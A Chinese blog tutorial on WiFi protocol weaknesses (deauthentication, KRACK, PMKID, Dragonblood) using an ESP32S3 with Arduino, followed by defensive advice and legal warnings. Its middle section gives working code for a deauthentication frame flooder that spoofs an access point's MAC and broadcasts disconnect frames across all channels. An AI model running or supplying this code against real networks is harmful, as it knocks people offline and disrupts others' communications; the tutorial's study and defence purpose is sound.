预防WIFI攻击,保证网络安全
文章总结(帮你们节约时间)
- WiFi协议存在多种安全漏洞,从去认证攻击到KRACK和PMKID攻击,这些都源于协议设计中的历史遗留问题。
- ESP32S3微控制器结合Arduino环境,成为强大的WiFi安全研究平台,可用于网络扫描、监控和安全测试。
- 通过升级到WPA3、启用受保护管理帧(PMF)和采用企业级认证方案,可以有效防御大多数WiFi攻击。
- 网络安全知识应用于保护自己的网络和合法安全研究,而非干扰他人网络,这既是技术伦理也是法律要求。
引言
想象一下,你正在咖啡厅享受网络冲浪,突然间——啪!连接断了。是网络抽风?还是有人在背后搞鬼?今天,我们将揭开WiFi的神秘面纱,探索那些不为人知的漏洞,并用ESP32S3这把"瑞士军刀"搭配Arduino环境来演示WiFi世界的脆弱性。这不是教你捣乱的指南,而是一次网络安全意识的觉醒之旅!
WiFi协议的演进与漏洞
WiFi技术,这个现代生活的数字氧气,已从最初的802.11标准发展成今天的复杂生态系统。就像房子从茅草屋变成摩天大楼,可安全性呢?每一代协议都试图弥补前代的缺陷,但新的问题总会出现。
IEEE 802.11协议族大家庭详解
-
802.11(原始标准):1997年问世,最高速率仅2Mbps,使用2.4GHz频段。这就像数字通信世界的石器时代,简单但功能有限。
-
802.11b:1999年出现,速度提升到11Mbps,仍然使用2.4GHz频段。这是WiFi开始普及的重要一步,就像自行车取代了步行。
-
802.11a:同样在1999年发布,但选择了5GHz频段,提供高达54Mbps的速度。然而,由于高频信号穿墙能力弱和早期设备成本高,它并未立即流行。如同一位有才华但不被理解的艺术家。
-
802.11g:2003年的明星,结合了802.11b的覆盖范围和802.11a的速度(54Mbps),依然在2.4GHz频段工作。这次融合让WiFi迎来了第一次真正的普及浪潮。
-
802.11n (WiFi 4):2009年标准化,引入了MIMO(多输入多输出)技术和信道绑定,理论速度飙升至600Mbps,同时支持2.4GHz和5GHz双频段。这就像给汽车安装了涡轮增压器。
-
802.11ac (WiFi 5):2014年推出,专注5GHz频段,通过更宽的信道、更高阶的调制方式和多用户MIMO,速度最高可达6.9Gbps。这是WiFi世界的超级跑车时代。
-
802.11ax (WiFi 6):最新的标准,不仅追求速度(最高可达9.6Gbps),更注重在多设备环境下的效率。引入了OFDMA和TWT等技术,就像交通系统从单纯提高车速转向改善道路规划和交通灯控制。
漏洞解剖:WiFi的阿喀琉斯之踵
1. 去认证攻击(Deauthentication Attack)
WiFi协议中最致命的设计缺陷之一。在正常情况下,当设备想要断开与接入点(AP)的连接时,会发送去认证帧。问题是,这些管理帧是不加密的,且任何设备都可以发送这些帧!攻击者可以伪造去认证帧,冒充接入点或客户端,强制断开连接。
这就像在一个拥挤的派对上,任何人都可以模仿主人的声音喊:"派对结束了,请所有人离开!"而且无论真正的主人说什么,客人们都会相信那个喊叫的声音。
去认证攻击的技术细节:
- 帧类型:管理帧(Management Frame)
- 子类型:去认证(Deauthentication)
- 原因码:可以是任意值,常用1(“unspecified reason”)
- 目标:可以针对特定设备或广播攻击所有设备
2. KRACK (Key Reinstallation Attack)
2017年震惊安全界的漏洞,它攻击WPA2协议中的4次握手过程。当客户端收到第3条消息时,会安装密钥并重置计数器。但如果攻击者拦截并重放这条消息,客户端会重新安装相同的密钥并重置计数器,这破坏了加密协议的随机性,使得理论上可以恢复加密数据。
这就像锁匠给你一把新锁,但因为安装过程中的失误,导致锁的内部计数器被重置,使得原本应该永不重复的钥匙序列开始循环使用,从而降低了安全性。
KRACK的技术要点:
- 针对协议实现而非密码强度
- 影响所有正确实现WPA2的设备
- 不需要知道WiFi密码
- 可能导致数据包重放、解密和伪造
3. PMKID攻击
2018年发现的漏洞,针对WPA/WPA2个人版(使用预共享密钥PSK的网络)。攻击者可以捕获单个EAPOL帧中的PMKID(预主密钥标识符),然后离线破解以获取密码。这比传统的4次握手捕获方法更简单,因为不需要等待用户连接。
想象一下,锁匠不小心在锁的外部刻上了密码的哈希值,虽然不是直接的密码,但给了窃贼一个可以在家慢慢破解的线索。
PMKID攻击的特点:
- 只需捕获一个帧
- 不需要用户在线
- 使用字典或暴力破解方法离线计算
- 特别影响企业路由器和接入点
4. Fragmentation Attack(分片攻击)
通过操纵WiFi帧分片功能,攻击者可以欺骗接收方重组数据,从而注入恶意内容。这类似于一个狡猾的邮递员,在传递分散的信件碎片时悄悄替换了其中几页。
5. Dragonblood漏洞
即使是最新的WPA3协议也不能幸免。2019年发现的Dragonblood系列漏洞影响了WPA3的SAE(同步认证和密钥建立)握手过程,可能导致密码泄露和拒绝服务攻击。
ESP32S3的登场:袖珍威力
这颗小小的芯片,价格不到50元,却能制造网络动荡。为什么?因为它拥有:
- 强大的双核Xtensa LX7处理器,最高达到240MHz
- 集成2.4GHz WiFi和蓝牙5.0
- 硬件加速的加密单元
- 丰富的GPIO和外设接口
- 与Arduino环境完美兼容
这不是普通的微控制器,而是口袋里的网络安全实验室!ESP32S3相比前代ESP32,提供了更强的处理能力和更多的RAM(高达512KB),这让它能够同时处理多个复杂的WiFi操作,完美适合作为网络安全测试的平台。
ESP32S3与Arduino的完美结合
Espressif官方支持在Arduino IDE中开发ESP32系列,这使得即使是编程新手也能快速上手。通过简单的板管理器安装,你就能获得强大的库支持,包括:
- WiFi库:轻松控制WiFi连接和操作
- ESP32 BLE库:蓝牙功能开发
- SPI、I2C等通信库:连接各种传感器和显示屏
- ESP32专用功能库:访问ESP32特有的高级功能
打造WiFi干扰器:技术拆解
现在,让我们实际动手,利用ESP32S3在Arduino环境下创建一个WiFi分析和测试工具。
硬件准备
- ESP32S3开发板(推荐ESP32-S3-DevKitC-1或XIAO ESP32S3)
- 外置天线(可选,但会提升信号范围)
- USB数据线
- 小型OLED显示屏(可选,用于实时显示信息)
- 电池组(可选,用于便携操作)
软件环境配置
-
Arduino IDE安装与设置:
2. 下载并安装最新版Arduino IDE 3. 打开首选项,添加ESP32板管理器URL:https://raw.githubusercontent.com/espressif/arduino-esp32/gh-pages/package_esp32_index.json 4. 从板管理器安装ESP32支持包(确保选择包含S3支持的最新版本) 5. 选择正确的开发板型号和端口
-
必要库安装:
工具 -> 管理库 -> 搜索并安装: - "ESP32 BLE Arduino" - "WiFi"(Arduino内置) - "SSD1306"(如果使用OLED显示屏)
WiFi扫描与分析
在开始任何更高级的操作前,让我们先创建一个WiFi扫描器,了解周围的网络环境。这是一个基础但强大的工具,可以显示附近的接入点、信号强度、加密类型和信道。
#include <WiFi.h>void setup() {Serial.begin(115200);// 设置WiFi为扫描模式WiFi.mode(WIFI_STA);WiFi.disconnect();delay(100);Serial.println("WiFi扫描开始...");
}void loop() {int networkCount = WiFi.scanNetworks();if (networkCount == 0) {Serial.println("没有发现WiFi网络");} else {Serial.print("发现");Serial.print(networkCount);Serial.println("个网络:");for (int i = 0; i < networkCount; ++i) {// 打印SSID和RSSISerial.print(i + 1);Serial.print(": ");Serial.print(WiFi.SSID(i));Serial.print(" (");Serial.print(WiFi.RSSI(i));Serial.print("dBm) ");// 打印加密类型Serial.print("加密类型: ");switch(WiFi.encryptionType(i)) {case WIFI_AUTH_OPEN:Serial.print("开放");break;case WIFI_AUTH_WEP:Serial.print("WEP");break;case WIFI_AUTH_WPA_PSK:Serial.print("WPA-PSK");break;case WIFI_AUTH_WPA2_PSK:Serial.print("WPA2-PSK");break;case WIFI_AUTH_WPA_WPA2_PSK:Serial.print("WPA/WPA2-PSK");break;case WIFI_AUTH_WPA2_ENTERPRISE:Serial.print("WPA2-企业版");break;case WIFI_AUTH_WPA3_PSK:Serial.print("WPA3-PSK");break;case WIFI_AUTH_WPA2_WPA3_PSK:Serial.print("WPA2/WPA3-PSK");break;default:Serial.print("未知");}// 打印信道Serial.print(" 信道: ");Serial.println(WiFi.channel(i));}}// 删除扫描结果WiFi.scanDelete();// 每10秒扫描一次delay(10000);
}
这段代码会每10秒扫描一次周围的WiFi网络,并输出详细信息。这是做任何网络安全测试的第一步,让你了解战场环境。
实现去认证攻击(教育目的)
接下来,我们将实现一个基础的去认证帧发送器。这需要使用ESP32原生API,因为Arduino的WiFi库没有提供这么底层的功能。
#include "esp_wifi.h"
#include "esp_wifi_types.h"
#include <Arduino.h>// 目标AP的MAC地址,格式化为字节数组
uint8_t targetAP[6] = {0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF}; // 替换为实际目标AP的MAC
uint8_t broadcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; // 广播地址// 去认证帧结构
typedef struct {uint8_t type; // 类型和子类型uint8_t subtype;uint16_t duration; // 持续时间uint8_t receiver[6]; // 接收方MACuint8_t transmitter[6]; // 发送方MACuint8_t destination[6]; // 目标MACuint16_t sequence; // 序列号uint16_t reason; // 去认证原因码
} __attribute__((packed)) DeauthFrame;DeauthFrame deauthFrame;void setup() {Serial.begin(115200);Serial.println("ESP32S3 WiFi测试工具启动");// 初始化WiFiwifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();esp_wifi_init(&cfg);esp_wifi_set_storage(WIFI_STORAGE_RAM);esp_wifi_set_mode(WIFI_MODE_STA);esp_wifi_start();// 设置为监听模式esp_wifi_set_promiscuous(true);// 准备去认证帧prepareDeauthFrame();Serial.println("开始信道轮询...");
}void prepareDeauthFrame() {// 填充去认证帧deauthFrame.type = 0x00;deauthFrame.subtype = 0xC0; // 去认证deauthFrame.duration = 0x0000;// 接收方为广播memcpy(deauthFrame.receiver, broadcast, 6);// 发送方为目标AP的MACmemcpy(deauthFrame.transmitter, targetAP, 6);// 目标同样为目标AP的MACmemcpy(deauthFrame.destination, targetAP, 6);deauthFrame.sequence = 0x0000;deauthFrame.reason = 0x0001; // 原因码1:"unspecified reason"
}void loop() {// 轮询所有WiFi信道for (int channel = 1; channel <= 13; channel++) {// 设置当前信道esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);Serial.print("当前信道: ");Serial.println(channel);// 发送多个去认证帧for (int i = 0; i < 20; i++) {esp_wifi_80211_tx(WIFI_IF_STA, &deauthFrame, sizeof(DeauthFrame), false);delay(1);}// 稍作延迟delay(100);}
}
注意:此代码仅供学习WiFi协议和安全机制,不应用于实际干扰他人网络。
高级版本:带显示屏和按钮控制的WiFi分析工具
让我们更进一步,制作一个完整的WiFi分析工具,具有OLED显示界面和按钮控制:
#include <WiFi.h>
#include <Wire.h>
#include <Adafruit_GFX.h>
#include <Adafruit_SSD1306.h>
#include "esp_wifi.h"#define SCREEN_WIDTH 128
#define SCREEN_HEIGHT 64
#define OLED_RESET -1// 按钮定义
#define BUTTON_UP 12
#define BUTTON_DOWN 14
#define BUTTON_SELECT 27// 显示屏对象
Adafruit_SSD1306 display(SCREEN_WIDTH, SCREEN_HEIGHT, &Wire, OLED_RESET);// 存储扫描的网络
#define MAX_NETWORKS 10
String networks[MAX_NETWORKS];
int signalStrength[MAX_NETWORKS];
int securityType[MAX_NETWORKS];
int networkChannels[MAX_NETWORKS];
int networkCount = 0;// 界面控制
int menuPosition = 0;
int currentPage = 0; // 0: 扫描, 1: 监控, 2: 测试模式
String menuItems[] = {"扫描网络", "监控模式", "测试模式"};// 选中的网络索引
int selectedNetwork = 0;void setup() {Serial.begin(115200);// 设置按钮pinMode(BUTTON_UP, INPUT_PULLUP);pinMode(BUTTON_DOWN, INPUT_PULLUP);pinMode(BUTTON_SELECT, INPUT_PULLUP);// 初始化OLEDif(!display.begin(SSD1306_SWITCHCAPVCC, 0x3C)) {Serial.println(F("SSD1306初始化失败"));for(;;);}display.clearDisplay();display.setTextSize(1);display.setTextColor(SSD1306_WHITE);display.setCursor(0, 0);display.println("WiFi分析工具");display.println("初始化...");display.display();// 设置WiFiWiFi.mode(WIFI_STA);WiFi.disconnect();delay(100);// 初始化完成display.clearDisplay();drawMenu();
}void loop() {// 检查按钮checkButtons();// 根据当前页面执行功能switch(currentPage) {case 0:if(millis() % 10000 == 0) { // 每10秒扫描一次scanNetworks();drawNetworkList();}break;case 1:monitorNetwork(selectedNetwork);break;case 2:testMode();break;}delay(100);
}void checkButtons() {if(digitalRead(BUTTON_UP) == LOW) {if(currentPage == 0) {menuPosition = (menuPosition > 0) ? menuPosition - 1 : 2;drawMenu();} else if(currentPage == 1) {selectedNetwork = (selectedNetwork > 0) ? selectedNetwork - 1 : networkCount - 1;drawNetworkList();}delay(200); // 防抖}if(digitalRead(BUTTON_DOWN) == LOW) {if(currentPage == 0) {menuPosition = (menuPosition < 2) ? menuPosition + 1 : 0;drawMenu();} else if(currentPage == 1) {selectedNetwork = (selectedNetwork < networkCount - 1) ? selectedNetwork + 1 : 0;drawNetworkList();}delay(200); // 防抖}if(digitalRead(BUTTON_SELECT) == LOW) {if(currentPage == 0) {currentPage = menuPosition + 1;if(currentPage == 1) {scanNetworks();drawNetworkList();} else if(currentPage == 2) {display.clearDisplay();display.setCursor(0, 0);display.println("测试模式");display.println("按SELECT返回");display.display();}} else {currentPage = 0;drawMenu();}delay(200); // 防抖}
}void drawMenu() {display.clearDisplay();display.setCursor(0, 0);display.println("WiFi分析工具");display.println("------------");for(int i = 0; i < 3; i++) {if(i == menuPosition) {display.print("> ");} else {display.print(" ");}display.println(menuItems[i]);}display.display();
}void scanNetworks() {display.clearDisplay();display.setCursor(0, 0);display.println("正在扫描...");display.display();networkCount = WiFi.scanNetworks();networkCount = min(networkCount, MAX_NETWORKS);for(int i = 0; i < networkCount; i++) {networks[i] = WiFi.SSID(i);signalStrength[i] = WiFi.RSSI(i);securityType[i] = WiFi.encryptionType(i);networkChannels[i] = WiFi.channel(i);}WiFi.scanDelete();
}void drawNetworkList() {display.clearDisplay();display.setCursor(0, 0);display.println("发现的网络:");for(int i = 0; i < min(5, networkCount); i++) {int displayIndex = (selectedNetwork/5)*5 + i;if(displayIndex >= networkCount) break;if(displayIndex == selectedNetwork) {display.print("> ");} else {display.print(" ");}display.print(networks[displayIndex]);display.print(" ");display.print(signalStrength[displayIndex]);display.println("dBm");}display.display();
}void monitorNetwork(int index) {if(index >= networkCount) return;display.clearDisplay();display.setCursor(0, 0);display.println("网络详情:");display.println("------------");display.print("SSID: ");display.println(networks[index]);display.print("信号: ");display.print(signalStrength[index]);display.println(" dBm");display.print("信道: ");display.println(networkChannels[index]);display.print("安全: ");switch(securityType[index]) {case WIFI_AUTH_OPEN:display.println("开放");break;case WIFI_AUTH_WEP:display.println("WEP");break;case WIFI_AUTH_WPA_PSK:display.println("WPA");break;case WIFI_AUTH_WPA2_PSK:display.println("WPA2");break;case WIFI_AUTH_WPA_WPA2_PSK:display.println("WPA+WPA2");break;case WIFI_AUTH_WPA2_ENTERPRISE:display.println("企业版");break;default:display.println("未知");}display.println("\n按SELECT返回");display.display();
}void testMode() {// 自定义测试模式代码if(digitalRead(BUTTON_UP) == LOW && digitalRead(BUTTON_DOWN) == LOW) {display.clearDisplay();display.setCursor(0, 0);display.println("信道扫描中...");display.display();for(int ch = 1; ch <= 13; ch++) {esp_wifi_set_channel(ch, WIFI_SECOND_CHAN_NONE);display.clearDisplay();display.setCursor(0, 0);display.println("当前信道:");display.setTextSize(2);display.setCursor(40, 20);display.print(ch);display.setTextSize(1);display.setCursor(0, 50);display.println("按SELECT返回");display.display();delay(500);}}
}
防御之道:如何保护你的无线网络
如果WiFi这么脆弱,我们该如何保护自己?以下是几种有效的防御策略:
1. 升级到WPA3和启用PMF
WPA3协议引入了多项安全改进,包括:
- SAE (Simultaneous Authentication of Equals):替代了WPA2中易受攻击的4次握手过程
- 前向保密:即使密码被破解,也无法解密之前捕获的流量
- 加强的密码保护:更好地抵抗离线字典攻击
更重要的是,启用PMF (Protected Management Frames),这是WPA3的必要组成部分,但在支持WPA2的设备上也可以单独启用:
在路由器/AP设置中:
1. 安全性 -> WPA2/WPA3-Personal
2. 启用"受保护的管理帧" (PMF)* 如可选,设为"必需"
2. 企业级认证方案
对于公司网络,WPA2/WPA3-Enterprise提供了更强大的保护:
- 每个用户使用独立的认证凭证
- 支持多种认证方法(EAP-TLS, PEAP等)
- 集中式用户管理和吊销
- 应用RADIUS服务器进行身份验证
3. 强网络配置的最佳实践
- 更改默认管理密码:路由器管理界面的默认密码是最常见的入侵点
- 使用复杂的WiFi密码:至少16字符,包含数字、大小写字母和特殊符号
- 定期更新固件:路由器和接入点的安全补丁非常重要
- 启用客户端隔离:防止连接到同一网络的设备互相访问
- 关闭WPS功能:WiFi保护设置常常包含漏洞
- 设置访客网络:为访客提供单独的网络,与主网络隔离
- MAC地址过滤:虽然可以被绕过,但提供了额外的安全层
4. 入侵检测系统
家庭用户可以考虑使用支持入侵检测的高级路由器固件,如:
- DD-WRT:开源路由器固件,支持高级安全功能
- OpenWrt:灵活的嵌入式Linux发行版,可添加安全模块
- 专用设备:如Bitdefender Box或Firewalla
5. 无线网络监控
定期使用ESP32S3制作的WiFi分析工具监控自己的网络环境,识别异常情况:
- 未授权的接入点
- 异常的信号强度变化
- 可疑的管理帧泛滥
- 不明来源的去认证攻击
ESP32S3与网络安全研究的更多可能性
除了我们已经讨论的基本功能,ESP32S3还可以用于更多复杂的网络安全研究,如:
1. 被动监听与流量分析
通过将ESP32S3设置为监听模式,可以捕获并分析周围的WiFi流量,例如:
#include "esp_wifi.h"
#include "esp_wifi_types.h"
#include <Arduino.h>// WiFi帧接收回调
void promiscuousCallback(void* buf, wifi_promiscuous_pkt_type_t type) {// 仅处理MGMT帧if (type != WIFI_PKT_MGMT) return;const wifi_promiscuous_pkt_t *packet = (wifi_promiscuous_pkt_t*)buf;const uint8_t *payload = packet->payload;// 分析帧类型uint8_t frameControl = payload[0];uint8_t frameType = (frameControl & 0x0C) >> 2;uint8_t frameSubType = (frameControl & 0xF0) >> 4;if (frameType == 0 && frameSubType == 8) { // Beacon帧Serial.println("发现Beacon帧");// 提取SSID (简化代码,实际需要更多处理)int ssidLength = payload[37];char ssid[33] = {0}; // 确保有足够空间+终止符if (ssidLength > 0 && ssidLength <= 32) {memcpy(ssid, &payload[38], ssidLength);Serial.print("SSID: ");Serial.println(ssid);}}
}void setup() {Serial.begin(115200);// 初始化WiFiwifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();esp_wifi_init(&cfg);esp_wifi_set_storage(WIFI_STORAGE_RAM);esp_wifi_set_mode(WIFI_MODE_NULL);esp_wifi_start();// 设置监听模式esp_wifi_set_promiscuous(true);esp_wifi_set_promiscuous_rx_cb(&promiscuousCallback);// 设置初始信道esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE);Serial.println("监听模式已启动");
}void loop() {// 每秒切换信道static int channel = 1;channel = (channel % 13) + 1;esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);Serial.print("当前信道: ");Serial.println(channel);delay(1000);
}
2. 恶意接入点检测
利用ESP32S3可以创建一个便携式的恶意接入点检测器,帮助识别钓鱼WiFi网络:
- 存储已知的合法接入点名称和MAC地址
- 定期扫描环境中的接入点
- 检测带有相似名称但不同MAC的可疑接入点
- 通过显示屏或蜂鸣器提醒用户
3. WiFi胁迫信道监测
ESP32S3可以用来检测802.11w中的胁迫信道(Covert Channel),这是一种高级攻击技术:
- 监听特定时间间隔的管理帧
- 分析帧之间的时间模式
- 识别可能包含隐藏信息的异常模式
网络安全与伦理:重要的思考
在探索WiFi安全漏洞和ESP32S3的能力时,我们必须考虑伦理和法律问题。技术知识本身是中立的,但其应用可能产生积极或消极的影响。
合法用途与边界
ESP32S3的WiFi功能可以合法用于:
- 自己网络的安全审计:测试家庭或公司网络(在获得适当授权的情况下)的安全性
- 教育与研究:了解WiFi协议的工作原理和安全机制
- 网络问题排查:识别干扰源和信道重叠问题
- 开发创新的安全解决方案:如入侵检测系统和监控工具
法律与后果
未经授权干扰他人网络是违法行为,可能导致:
- 民事和刑事处罚
- 高额罚款
- 监禁
- 设备没收
在许多国家,使用WiFi干扰器属于违法行为,因为它破坏了公共通信基础设施。即使是"教育目的"也不能作为干扰他人网络的合法辩护。
相关文章:
预防WIFI攻击,保证网络安全
文章总结(帮你们节约时间) WiFi协议存在多种安全漏洞,从去认证攻击到KRACK和PMKID攻击,这些都源于协议设计中的历史遗留问题。ESP32S3微控制器结合Arduino环境,成为强大的WiFi安全研究平台,可用于网络扫描…...
循环神经网络 - 门控循环单元网络
为了解决循环神经网络在学习过程中的长程依赖问题,即梯度消失或爆炸问题,一种非常好的解决方案是在简单循环网络的基础上引入门控机制来控制信息的累积速度,包括有选择地加入新的信息,并有选择地遗忘之前累积的信息。这一类网络可…...
Java 正则表达式综合实战:URL 匹配与源码解析
在 Web 应用开发中,我们经常需要对 URL 进行格式验证。今天我们结合 Java 的 Pattern 和 Matcher 类,深入理解正则表达式在实际应用中的强大功能,并剖析一段实际的 Java 示例源码。 package com.RegExpInfo;import java.util.regex.Matcher; …...
TCPIP详解 卷1协议 六 DHCP和自动配置
6.1——DHCP和自动配置 为了使用 TCP/IP 协议族,每台主机和路由器需要一定的配置信息。基本上采用3种方法:手工获得信息;通过一个系统获得使用的网络服务;使用某种算法自动确定。 拥有一个IP 地址和子网掩码,以及 DN…...
面试宝典(C++基础)-01
文章目录 1. C++基础1.1 C++特点1.2 说说C语言和C++的区别1.3 说说 C++中 struct 和 class 的区别1.4 include头文件的顺序以及双引号""和尖括号<>的区别1.5 说说C++结构体和C结构体的区别1.6 导入C函数的关键字是什么,C++编译时和C有什么不同?1.7 C++从代码…...
【笔记ing】AI大模型-04逻辑回归模型
一个神经网络结构,其中的一个神经网络层,本质就是一个逻辑回归模型 深度神经网络的本质就是多层逻辑回归模型互相连接或采用一定的特殊连接的方式连接在一起构成的。其中每一个层本质就是一个逻辑回归模型。 逻辑回归模型基本原理 逻辑回归࿰…...
【Android】常用参数实践 用户界面UI 布局文件XML
本文将系统总结 Android XML 布局的通用参数和常用布局类型的专属规则 一、通用布局参数 这些参数适用于所有 View 和 ViewGroup,是布局设计的基石。 1. 尺寸控制 android:layout_width 与 android:layout_height 定义视图的宽度和高度,可选值…...
音乐产业新玩法:NFTs如何颠覆传统与挑战未来?
音乐产业新玩法:NFTs如何颠覆传统与挑战未来? 近年来,NFT(Non-Fungible Token,非同质化代币)像一颗新星,迅速在数字艺术、游戏等领域掀起了革命。而在音乐产业,NFT不仅是一种数字所…...
测试基础笔记第三天
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 ⼀、缺陷介绍定义:软件中使⽤中任何问题都为缺陷,简称:bug 二、缺陷编写三、注册模块测试点练习 ⼀、缺陷介绍 定义:…...
HTML5 Web 存储:超越 Cookie 的本地存储新选择
一、引言 在当今的 Web 开发领域,对于用户数据的本地存储需求日益增长。HTML5 带来了一种比传统 cookie 更强大、更安全、更高效的本地存储方式 ——Web 存储。本文将深入探讨 HTML5 Web 存储的相关知识,包括其基本概念、浏览器支持情况、localStorage …...
基于 DB、EAST、SAST 的文本检测算法详解及应用综述
摘要 近年来,随着深度学习在计算机视觉领域的广泛应用,自然场景文字检测技术取得了飞速发展。针对复杂背景、任意形状、多角度文本等问题,学术界和工业界陆续提出了 DB、EAST、SAST 等多种算法。本文详细介绍了这几种主流文本检测方法的原理…...
牙刷生产中的视觉检测,让刷毛缺陷检测高效便捷!
在日常口腔护理中,一把优质牙刷至关重要,而刷毛质量直接决定了牙刷品质。从生产端来看,牙刷制造行业正面临着品质管控的严峻挑战。人工目检在检测刷毛缺陷时,不仅效率低下,还极易因主观因素导致漏检、误检,…...
面向对象编程(OOP)核心概念进阶
面向对象编程(OOP)核心概念进阶 final 关键字 行为特征:作为终结者关键字,用于限制类、方法、变量的可修改性 三层控制力: - 修饰类: 定义不可继承的最终类(如 String、Integer 等不可变类核…...
AI与教育的协奏曲:重构未来学习生态
📝个人主页🌹:慌ZHANG-CSDN博客 🌹🌹期待您的关注 🌹🌹 引言:教育的“智变”来临 在经历了千年的教与学之后,教育终于迎来了最大规模的技术变革浪潮。随着ChatGPT、DeepSeek、Grok 等大语言模型的诞生与不断演进,AI正以前所未有的方式深入影响每一个学生、老师…...
性能炸裂的数据可视化分析工具:DataEase!
今天分享一款开源的数据可视化分析工具,帮助用户快速分析数据并洞察业务趋势,从而实现业务的改进与优化。支持丰富的数据源连接,能够通过拖拉拽方式快速制作图表,并可以方便地与他人分享。 技术栈 前端:Vue.js、Elemen…...
9.thinkphp的请求
请求对象 当前的请求对象由think\Request类负责,该类不需要单独实例化调用,通常使用依赖注入即可。在其它场合则可以使用think\facade\Request静态类操作。 项目里面应该使用app\Request对象,该对象继承了系统的think\Request对象ÿ…...
UBUNTU20.04安装ros2
ubuntu20.04安装ROS2 详细教程_ubuntu20.04 ros2-CSDN博客...
数据可视化工具LightningChart .NET v12.2.1全新发布——支持新的 .NET 目标框架
LightningChart.NET完全由GPU加速,并且性能经过优化,可用于实时显示海量数据-超过10亿个数据点。 LightningChart包括广泛的2D,高级3D,Polar,Smith,3D饼/甜甜圈,地理地图和GIS图表以及适用于科学…...
Python + Playwright:规避常见的UI自动化测试反模式
Python + Playwright:规避常见的UI自动化测试反模式 前言反模式一:整体式页面对象(POM)反模式二:具有逻辑的页面对象 - POM 的“越界”行为反模式三:基于 UI 的测试设置 - 缓慢且脆弱的“舞台搭建”反模式四:功能测试过载 - “试图覆盖一切”的测试反模式之间的关联与核…...
蓝宝石狼组织升级攻击工具包,利用新型紫水晶窃密软件瞄准能源企业
网络安全专家发现,被称为"蓝宝石狼"(Sapphire Werewolf)的威胁组织正在使用升级版"紫水晶"(Amethyst)窃密软件,对能源行业企业发起复杂攻击活动。此次攻击标志着该组织能力显著提升&am…...
高光谱相机:温室盆栽高通量植物表型光谱成像研究
传统植物表型测量依赖人工观察与手工记录,存在效率低、主观性强、无法获取多维数据(如生化成分、三维形态)等缺陷。例如,叶片氮含量需破坏性取样检测,根系表型需挖掘植株,导致数据不连续且难以规模化。此外…...
Android Studio安装平板的虚拟机
其实很简单,但是我刚开始也是一窍不通,所以也查了好多资料才会的,本文仅作为个人学习笔记分享,有跟我一样的小白可以当做一个参考,有什么问题也欢迎大家提出建议,俺会虚心接受并改进的~ 首先我们打开项目&…...
Redis 常问知识
1.Redis 缓存穿透问题 缓存穿透:当请求的数据在缓存和数据库中不存在时,该请求就跳出我们使用缓存的架构(先从缓存找,再从数据库查找、这样就导致了一直去数据库中找),因为这个数据缓存中永远也不会存在。…...
UnityUI:Canvas框架获取鼠标悬浮UI
将下面脚本挂在主体Canvas上,Canvas会对下面所有Image挂上PointerHandler脚本,并且可以通过GetPointEnter方法判断当前鼠标是否悬停在UI上 public class BaseCanvas : MonoBehaviour {public static BaseCanvas Main;private void Awake(){Main this;I…...
NLP实战(3):RNN英文名国家分类
目录 1. 项目需求 2. 模型解析 2.1 网络模型 2.2 准备数据 2.3 双向循环神经网络 3. 代码解析 4. 完整代码 5. 结果 1. 项目需求 对名字的分类,几千个名字,总共来自于18个国家 2. 模型解析 对于自然语言处理来说,输入是一个序列&am…...
东方博宜OJ ——1335 - 土地分割
递归 入门 ————1335 - 土地分割 1335 - 土地分割题目描述输入输出样例问题分析递归解法(欧几里得算法)代码实现总结 1335 - 土地分割 题目描述 把一块m * n米的土地分割成同样大的正方形,如果要求没有土地剩余,分割出的正方形…...
在轨道交通控制系统中如何实现μs级任务同步
轨道交通作为现代城市化进程中的重要支柱,承载着数以亿计的乘客出行需求,同时也是城市经济运行的命脉。无论是地铁、轻轨还是高速铁路,其控制系统的稳定性和可靠性直接关系到运营安全和效率。在这样一个高风险、高复杂度的环境中,…...
【C++教程】进制转换的实现方法
在C中进行进制转换可以通过标准库函数或自定义算法实现。以下是两种常见场景的转换方法及示例代码: 一、使用C标准库函数 任意进制转十进制 #include <string> #include <iostream>int main() {std::string num "1A3F"; // 十六进制数int…...
日志文件爆满_配置使用logback_只保留3天日志文件_每天定时生成一个日志文件---SpringCloud工作笔记206
日志文件爆满,springCloud微服务架构中的,日志爆满如何解决,使用脚本直接删除,会导致, 如果要删除的日志文件,还正在被进程占用,那么你即使使用脚本定时删除了,这个日志文件,那么这个日志文件实际上还是不会删除的,他的大小,依然占用磁盘,就是因为,有进程还在占用它,所以之前说…...
DICOM通讯(ACSE->DIMSE->Worklist)
DICOM 通讯协议中的 ACSE → DIMSE → Worklist 这条通讯链路。DICOM 通讯栈本身是一个多层的协议结构,就像 OSI 模型一样,逐层封装功能。 一、DICOM 通讯协议栈总体架构 DICOM 通讯使用 TCP/IP 建立连接,其上面封装了多个协议层次…...
QML与C++:基于ListView调用外部模型进行增删改查(附自定义组件)
目录 引言相关阅读项目结构文件组织 核心技术实现1. 数据模型设计联系人项目类 (datamodel.h)数据模型类 (datamodel.h)数据模型实现 (datamodel.cpp) 2. 主程序入口点 (main.cpp)3. 主界面设计 (Main.qml)4. 联系人对话框 (ContactDialog.qml)5. 自定义组件CustomTextField.qm…...
# linux 设置宽容模式
linux 设置宽容模式 在Linux系统中,通常没有直接称为“宽容模式”的设置选项,但你可以通过几种方式来模拟或调整系统行为,使其表现得更加“宽容”,特别是在处理错误、权限问题或其他潜在问题时。以下是一些常见的方法:…...
#1 理解物联网
物联不是一个新概念,物联网如其中文译名, 虚拟和物的对应和联接。 对于人类的梦想而言,总是希望自己无比强大,但受限于外部条件而只能为此悻悻念念。 所以人们的目光聚焦在,上世纪70年代发展的传感器、大规模电路、通…...
物联网场景实战:智能电表数据管理与分析(二)
数据管理 数据清洗与预处理 智能电表在数据采集、传输和存储过程中,不可避免地会引入噪声、出现缺失值和异常值等问题,这些问题会严重影响数据的质量和后续分析的准确性,因此数据清洗至关重要。 噪声数据通常是由于测量误差、通信干扰等原…...
linux一次启动多个jar包
